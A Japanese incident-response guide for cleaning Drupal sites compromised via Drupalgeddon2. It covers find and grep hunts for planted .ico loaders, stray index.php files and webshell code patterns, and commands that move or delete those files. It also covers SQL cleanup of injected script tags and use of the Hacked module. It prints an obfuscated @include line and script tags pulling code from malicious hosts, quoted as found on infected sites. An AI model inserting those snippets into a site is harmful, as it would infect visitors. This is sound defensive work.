drupalgeddon2 Drupal クラック暫定対応

恒久対応:影響範囲の特定は困難なので、サイトを作り直して、データ投入やり直し。

影響範囲:drupal 7.59 以降にアップデートしていないサイト。

1 . 権限で検索

改ざんされたindex.phpなど、実行可能ファイルを検索

$ sudo find /var/www/html -executable -type f

特定ディレクトリのファイル実行権限を削除するには、

$ sudo find <directory> -type f -exec chmod -x '{}' \;

2 . ファイル名で検索

  • 「.」で始まる *.ico ファイル

例:「.fae39f7c.ico」

$ sudo find /var/www/html -name "\.*.ico"

移動する場合、

$ sudo find /var/www/html -name "\.*.ico" -exec mv -t /tmp {} \+

 

  • 意図しない場所の index.php

例:「.well-known/acme-challenge/index.php」

$ sudo find /var/www/html -mindepth 3 -name index.php | grep -v 'wp-admin\|wp-content'

中には以下のような記述があるので、

@include "\057h\157m\145/\147l\145n\143c\057p\165b\154i\143_\150t\155l\057p\162o\146i\154e\163/\164e\163t\151n\147/\0564\0621\142e\071a\067.\151c\157";

https://www.unphp.net/ を使用して decode、転送先の malware も確認して隔離する。

削除する場合、

$ sudo find /var/www/html -mindepth 3 -name index.php | grep -v 'wp-admin\|wp-content' | grep 'well-known\|uploads' | sudo xargs rm

 

  • 英小文字数字8文字の *.php ファイル

例:「jnghfbwb.php」

$ sudo find /var/www/html -type f | egrep './[a-z0-9]{8}\.php'
$ sudo find /var/www/html -type f | egrep './[a-z0-9]{8}\.php' | grep -v 'template.php\|settings.php\|autoload.php\|jsonpath.php\|generate.php\|advanced.php\|ckeditor.php\|entities.php\|jmespath.php\|comments.php\|category.php\|bookmark.php\|revision.php\|taxonomy.php\|timeline.php\|activity.php\|debugger.php\|contacts.php\|facebook.php\|freedoms.php\|gzdecode.php\|services.php\|archives.php\|ultimate_cron/includes/nicejson.php\|dataTables/examples/resources/examples.php'

移動する場合、

$ sudo find /var/www/html -type f | egrep './[a-z0-9]{8}\.php' | grep -v 'template.php\|settings.php\|autoload.php\|jsonpath.php\|generate.php\|advanced.php\|ckeditor.php\|entities.php\|jmespath.php\|comments.php\|category.php\|bookmark.php\|revision.php\|taxonomy.php\|timeline.php\|activity.php\|debugger.php\|contacts.php\|facebook.php\|freedoms.php\|gzdecode.php\|services.php\|archives.php' | sudo xargs -I {} mv {} /tmp

3 . ファイルの中身で検索

怪しいphpファイルを検索

$ grep " *=PHP_VERSION *\| *Phar::interceptFileFuncs() *\| *@include *\| *interceptFileFuncs *\| *eval *( *gzinflate *( *base64_decode *( *\| *base64_decode *\| *function *wscandir *\| *HTTP/1.0 *404 *Not *Found *\| *@gzuncompress *\| *Array *( *) *; *global *\| *@unserialize"  -rl /var/www/html --include='*.php'

!<-- $ sudo find /var/www/html -type f -name '*.php' | xargs grep -l " *=PHP_VERSION *\| *Phar::interceptFileFuncs() *\| *@include *\| *interceptFileFuncs *\| *eval *( *gzinflate *( *base64_decode *( *\| *base64_decode *\| *function *wscandir *\| *HTTP/1.0 *404 *Not *Found *\| *@gzuncompress *\| *Array *( *) *; *global *\| *@unserialize *" -->

個別に見る場合、

find . -type f -name '*.php' | xargs grep -l " *=PHP_VERSION *" 
find . -type f -name '*.php' | xargs grep -l " *Phar::interceptFileFuncs() *"
find . -type f -name '*.php' | xargs grep -l " *@include *" 
find . -type f -name '*.php' | xargs grep -l " *interceptFileFuncs *"
find . -type f -name '*.php' | xargs grep -l " *eval *( *gzinflate *( *base64_decode *( *"
find . -type f -name '*.php' | xargs grep -l " *base64_decode *"
find . -type f -name '*.php' | xargs grep -l " *function *wscandir *"
find . -type f -name '*.php' | xargs grep -l " *HTTP/1.0 *404 *Not *Found *"
find . -type f -name '*.php' | xargs grep -l " *@gzuncompress *" 
find . -type f -name '*.php' | xargs grep -l " *Array *( *) *; *global *" 
find . -type f -name '*.php' | xargs grep -l " *@unserialize *" 

4 . カレントディレクトリをまとめて検索

$ find . -executable -type f ; find . -name "\.*.ico" && find . -mindepth 3 -name index.php | grep -v 'wp-admin\|wp-content\|htmlpurifier/tests/index.php' ; find . -type f | egrep './[a-z0-9]{8}\.php' | grep -v 'template.php\|settings.php\|autoload.php\|jsonpath.php\|generate.php\|advanced.php\|ckeditor.php\|entities.php\|jmespath.php\|comments.php\|category.php\|bookmark.php\|revision.php\|taxonomy.php\|timeline.php\|activity.php\|debugger.php\|contacts.php\|facebook.php\|freedoms.php\|gzdecode.php\|services.php\|archives.php' ; grep " *=PHP_VERSION *\| *Phar::interceptFileFuncs() *\| *@include *\| *interceptFileFuncs *\| *eval *( *gzinflate *( *base64_decode *( *\| *base64_decode *\| *function *wscandir *\| *HTTP/1.0 *404 *Not *Found *\| *@gzuncompress *\| *Array *( *) *; *global *\| *@unserialize"  -rl . --include='*.php'

5 . データベースを検索

$ sudo mysql db_octaviadata.com
MariaDB [db_octaviadata.com]> SELECT entity_id FROM field_data_body WHERE body_value LIKE ("%localstorage.tk.%");

以下のようなコードが見つかった場合、

<script type=''text/javascript'' src=''https://js.localstorage.tk/s.js?qr=888''></script><script type=''text/javascript'' src=''http://193.201.224.233/m.js?d=1''></script>

UPDATE文で削除。

UPDATE field_data_body SET body_value=REPLACE(body_value,'<script type=''text/javascript'' src=''https://js.localstorage.tk/s.js?qr=888''></script><script type=''text/javascript'' src=''http://193.201.224.233/m.js?d=1''></script>','') ;

キャッシュ削除

$ drush sql-query "DELETE FROM cache_bootstrap" && drush sql-query "DELETE FROM cache" && drush php-eval "entity_info_cache_clear();"

6 . 改ざんされたファイルをモジュールで検索

https://www.drupal.org/project/hacked

新規作成ファイルは検知できない。

drupal 以外のファイルもわからない。.htaccess など。

$ sudo drush en hacked -y && drush hacked-list-projects --force-rebuild && drush hacked-list-projects | grep Changed
 Title                                                  Name                           Version                Status     Changed  Deleted
 Drupal core                                            drupal                         7.61                   Changed    5        0
 Free pager                                             freepager                      7.x-2.x-dev            Changed    1        0
 FullCalendar                                           fullcalendar                   7.x-2.0+7-dev          Changed    3        0
 responsive_bartik                                      responsive_bartik              7.x-1.0                Changed    6        0
 tagadelic                                              tagadelic                      7.x-2.x-dev            Changed    1        0
 ubercart                                               ubercart                       7.x-3.11               Changed    2        0
 views_fluid_grid                                       views_fluid_grid               7.x-3.0                Changed    1        0
 visitors                                               visitors                       7.x-1.9                Changed    1        0
$ drush hacked-details ubercart
$ drush hacked-diff ubercart

7 . アップデート、キャッシュクリア、ディレクトリ権限設定